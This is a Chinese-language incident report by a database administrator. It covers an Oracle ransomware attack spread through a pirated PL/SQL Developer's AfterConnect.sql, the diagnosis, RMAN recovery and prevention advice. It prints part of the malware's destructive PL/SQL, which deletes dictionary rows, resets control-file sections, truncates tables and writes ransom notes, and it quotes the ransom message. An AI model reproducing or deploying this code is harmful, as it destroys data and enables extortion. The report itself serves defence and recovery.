@程序员,快收下这份比特币“勒索病毒”应对须知!
作者 | JiekeXu
责编 | 胡巍巍
风险从来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就突然降临到我们的身边。
发现比特币勒索病毒
业务账号无法连接数据库
2018年7月18日早上10点多,某公司一台数据库无法使用业务账号连接数据库,尝试使用PL/SQL去连接,要么未响应被卡死,要么等十几分钟也不能连接。
索性直接登录服务器使用此业务账号去连接,登录后使用SYS用户很快就已连接,但此业务账号就一直卡住不动,无法连接,如下图所示:
查看操作系统后,发现CPU内存使用率均很高。也正是11:34分,午休时间时,情急下关闭了数据库,重启了操作系统,然后重新启动数据库。便去午休吃饭了,认为大事已解决,可以午休了。
大概吃完饭12:45分,回来后使用“CONN业务账号/密码”去登陆,等了十几分钟还是无法登陆,排除数据库监听没问题(因为期间使用PL/SQL登陆上一次),开始怀疑是网络方面的原因了,于是乎开始排查网络,使用Ping命令开始Ping主机名、localhost、127.0.0.1均没有问题。
使用tnsping也未发现问题,参考网上说是由于域名错误,便去查看域名cat /etc/resolv.conf没发现异常,对比其他服务器也是一样。
此时已经一点半还未找到原因,但更头疼的是业务人员告知业务系统无法打开,网页直接报500错误,坏了,马上登陆业务服务器去查看日志。
果然和猜想的一样,数据源已断开,在日志中存在大量的无法连接数据源错误,当时没有细看报错的时间,便立即将业务应用停止。
冷静分析后才想到去查看Alert日志。查看日志时让人大吃一惊。顿时傻眼了。看到这样的信息:
感觉不秒了,比特币攻击?怎么可能?内网环境,云服务器,这怎么会被攻击呢?
Wed Jul 18 11:24:46 2018
Errors in file /u01/app/oracle/admin/YXXXX3/udump/xxxxxx3_ora_2674.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at "FXXXX.DBMS_CORE_INTERNAL ", line 27ORA-06512: at line 2
Wed Jul 18 11:25:22 2018
Thread 1 advanced to log sequence 7963
Current log# 2 seq# 7963 mem# 0: / data/XXXXX3/redo02.logWed Jul 18 11:25:54 2018
Thread 1 cannot allocate new log, sequence 7964
Checkpoint not complete
Current log# 2 seq# 7963 mem# 0: /data/XXXXX3/redo02.log
Thread 1 advanced to log sequence 7964
Current log# 1 seq# 7964 mem# 0: /data/XXXXX3/redo01.log
Wed Jul 18 11:26:28 2018
Errors in file /u01/app/oracle/admin/ XXXXX3/udump/xxxxx3_ora_2710.trc:
ORA-00604: error occurred at recursive SQL level 1
ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.
ORA-06512: at "FMXXXXX9.DBMS_CORE_INTERNAL ", line 27
ORA-06512: at line 2
Wed Jul 18 11:26:29 2018
Thread 1 advanced to log sequence 7965
Current log# 3 seq# 7965 mem# 0: /data1/XXXX3/redo03.log
Wed Jul 18 11:27:04 2018
但是看到这个告警日志,不得不相信这又是SQL RUSH Team干的好事,很明显跟2016年11月份爆发的比特币攻击案例如出一辙。
参考CSDN上的一篇文章https://blog.csdn.net/lovewifelovelife/article/details/71202513看到存在类似的触发器和存储过程。
--触发器
"DBMS_CORE_INTERNAL ";
"DBMS_SYSTEM_INTERNAL ";
"DBMS_SUPPORT_INTERNAL ";
--存储过程
"DBMS_CORE_INTERNAL ";
"DBMS_SYSTEM_INTERNAL ";
"DBMS_SUPPORT_INTERNAL ";
--查看存储过程
SELECT text FROM user_source WHERE NAME = 'DBMS_SYSTEM_INTERNAL '
ORDER BY line;
--查看触发器
select trigger_name from all_triggers
where table_name='DBMS_SYSTEM_INTERNAL ';
经过检查发现客户的业务用户XXX下面被创建了至少45万个JOB。由于内容实在是太多了,试图简单拼一个SQL来删除有问题的JOB。
select 'exec dbms_ijob.remove('||job||');'
from dba_jobs
where schema_user='FXXX' and what like '%truncate%';
这样一个语句,查了有10多分钟近20分钟没有执行完已经是45万之多JOB,无奈只能等待,期间查看了几眼Alert日志,发现日志从10:23分已经在频繁切换日志。
Wed Jul 18 06:00:16 2018
Thread 1 advanced to log sequence 7953
Current log# 3 seq# 7953 mem# 0: /data/XXXXX3/redo03.log
Wed Jul 18 10:23:52 2018
Thread 1 advanced to log sequence 7954
Current log# 2 seq# 7954 mem# 0: /data/XXXXX3/redo02.log
Wed Jul 18 10:25:54 2018
Thread 1 advanced to log sequence 7955
Current log# 1 seq# 7955 mem# 0: /data/XXXXX3/redo01.log
Wed Jul 18 10:30:39 2018
Thread 1 advanced to log sequence 7956
Current log# 3 seq# 7956 mem# 0: /data/XXXXX3/redo03.log
由此可以判断定有DDL操作,于是乎使用如下语句查看今天的DDL操作:
SELECT * FROM DBA_OBJECTS A
WHERE TO_CHAR(A.last_ddl_time,'YYYY-MM-DD')='2018-07-18'
AND OBJECT_TYPE='TABLE'
ORDER BY A.last_ddl_time DESC;
发现使用业务账号有很多TRUNCATE语句,未保存当时的查看结果,不完全统计出大概有70多张表被TRUNCATE掉了。
此业务账号业务量不大,平时操作也少,几乎以将大半业务表删除了。
数据库基本已经瘫痪,此时已经下午三点零五分,使用SYS用户也不能登录了,只能重启操作系统,重新启动数据库了,然后使用SYS用户可正常连接了。
然后执行了命令alter system set job_queue_process=0 scope=both ;并重启数据库(为什么要重启呢?因为此时数据库肯定已经产生了大量的library cache lock,无法操作)。
重启后可以使用SYS连接,于是乎又关闭数据库,做了一个物理冷备。
冷备完成后,启动数据库连接后查出了上面45万多的JOB,复制到Excel中然后在命令行先执行了65535个exce dbms_ijob.remove(806141);可是这个时间比较长,65535行执行了大概有一个小时多。
在此期间,无意中执行了一个RMAN全备,导致后面的恢复出现了问题,这个后面再说,等这65535个删除完毕,想进行下一个删除操作,但想着按这个时间算,至少得删除10多小时了,还是想其他方法吧。
数据库恢复
于是乎,还是使用RMAN做恢复,大概先了解这个数据库的备份策略:登陆服务器通过定时任务查看RMAN执行情况:
顺便看了一下备份脚本,可以看到每周日有全备,每天有增量备份,查看日志备份都没问题,还是可以做恢复的,备份脚本如下,可供参考:
但是备份恢复还是需要归档日志的,查看归档日志发现当日6:00归档,10:23分有归档,无法判断10:23分的这个归档是否可用。
故决定做不完全恢复,恢复到6:00,咨询业务人员说六点以后也没发生业务,可以这样恢复。
于是便忙起恢复来,先打算在测试库恢复一次看结果,但在测试库搞了好久都没搞完,遇到瓶颈测试库和正式库几乎同步,名字都一样,不好做恢复,尝试使用各种办法,就这样到晚上8点多了。没办法,在正式库直接恢复吧。
归档日志做手脚
为何这么说呢,归档日志是连续的,便将10:23分的归档给重命名了,这样归档不连续,后面的归档就不可用了,那为何要这样做呢,是因为之前做基于时间点恢复时,语句如下:
run {
startup force mount;
allocate channel c1 type disk;
allocate channel c2 type disk;
set until time ’2018-07-18 08:50:14‘;
restore database;
recover database;
alter database open resetlogs;
}
BUT,由于服务器的时间格式不合适,时间转换这里出问题了,无法继续,如下报错:
修改时间格式后继续运行但是又报错,说缺失右括号,但明显右括号也是英文状态下的。
尝试几遍都没问题,没办法(PS:后期有人说是环境变量没配置,恢复完成后对环境变量配置如下:
[oracle@JiekeXu ~]$ tail -2 .bash_profile
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8
export NLS_DATE_FORMAT='yyyy-mm-dd hh24:mi:ss')
只能想其他的办法了,基于RMAN的不完全恢复有三种方法:
1、 基于时间点的不完全恢复;
2、 基于SCN值的不完全恢复;
3、 基于日志的不完全恢复;
当时的SCN号又没办法拿到,只能是归档日志了,重命名10:23分的归档日志,后期的日志将不可用了,于是才进行了恢复。但在恢复时使用的是如下语句:
restore database;
recover database;
alter database open resetlogs;
数据库直接寻找最近的一次全备,便找到下午4点多的全备了,欲哭无泪啊,没办法不能取消,只能等待恢复吧。
大概一个小时候恢复完了,没有任何报错,只是这个恢复很完美,但是让高兴不起来啊!
怎么办?于是想起来将下午的RMAN全备目录重命名了,这样备份恢复直接找周日的全备,使用周一周二的增量备份即可,说干就干,这样操作后,便进行恢复:
Restore database;
Recover database;
这里提示没有归档日志7953(因为之前给重命名啦),于是便出现这样的问题,直接打开数据库会报错,但这里出现了SCN号5965960546956,那便拿这个号来恢复一波吧:
好了,这样就已经大功告成了,简单查看之前被勒索的几个表,数据已经恢复了。
最后的检查
查询了几张丢失数据的表现在均有数据,使用业务账号也可以登陆了,查看alert日志也没有发现异常,初步可以判定正常了。于是又检查了存储过程和触发器,并未发现触发器
"DBMS_CORE_INTERNAL ";
"DBMS_SUPPORT_INTERNAL ";
"DBMS_SYSTEM_INTERNAL ";
和存储过程
"DBMS_CORE_INTERNAL ";
"DBMS_SUPPORT_INTERNAL ";
"DBMS_SYSTEM_INTERNAL ";
查看JOB也没有相关记录了,继续观察Alert日志也没发现问题,故可以重启应用了,重启完应用,查看前台业务并无异常,此事算是解决,告一段落了。
安全、预防
注意:当一个问题研究清楚之后,就不再会产生恐惧,恐惧来自于未知,在没有遭到原因之前,大家的各种猜测导致问题扩大化,现在可以回到问题的本质上来了。
问题的根本原因是:如果用户从互联网上下载了盗版的PL/SQL Developer工具后(尤其是各种绿色版、破解版),就可能因为这个工具中招。
所以这个问题和Oracle本身关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就自然被附体的进行了入侵。
重要的问题要说三遍:盗版软件害人!
PL/SQL Developer在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件AfterConnect.sql,这个脚本就是真正的问题所在。
正版软件安装,这个脚本文件是空文件,但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。
受感染文件AfterConnect.sql开头是这样的,伪装成一个login.sql的脚本内容,有清晰的注释代码:
而这部分核心代码是加密的,无法查看,但参考这篇文章:https://mp.weixin.qq.com/s/ZsGr-FHyuSvZnTTpFPtaMA看到,核心代码是如下这样的(部分已删除,不要害人害己):
BEGIN
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 LOOP
DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');
DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致) 之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');
END LOOP;
END IF;
END;
请注意黑客的专业性,在程序的开端有以下部分判断:
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
也就是,判断数据库创建时间大于1200天,才开始动作(这个判断相当有见地,小库和新库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆发,那可能是因为时间还没有到。
下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意:
SQL*Plus: glogin.sql / login.sql
TOAD : toad.ini
PLSQLdeveloper: login.sql / afterconnect.sql
我们强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。
处置建议:
这个攻击是通过JOB、触发器、存储过程来协同工具的,所以如果数据库遭遇到这个问题,可以将JOB参数job_queue_processes设置为0,屏蔽掉JOB的执行,然后重启数据库。可以清除注入对象,这些对象可能包括以下同名触发器和存储过程:
PROCEDURE "DBMS_CORE_INTERNAL "
PROCEDURE "DBMS_SYSTEM_INTERNAL "
PROCEDURE "DBMS_SUPPORT_INTERNAL "
而攻击的核心代码还包括,这会Truncate数据表:
STAT:='truncate table '||USER||'.'||I.TABLE_NAME;
参考资料:
https://blog.csdn.net/lovewifelovelife/article/details/71202513
https://mp.weixin.qq.com/s/ZsGr-FHyuSvZnTTpFPtaMA
作者简介:JiekeXu,2017年毕业于某本科院校,从事于数据库运维行业,一个热爱Python的DBA。
推荐阅读: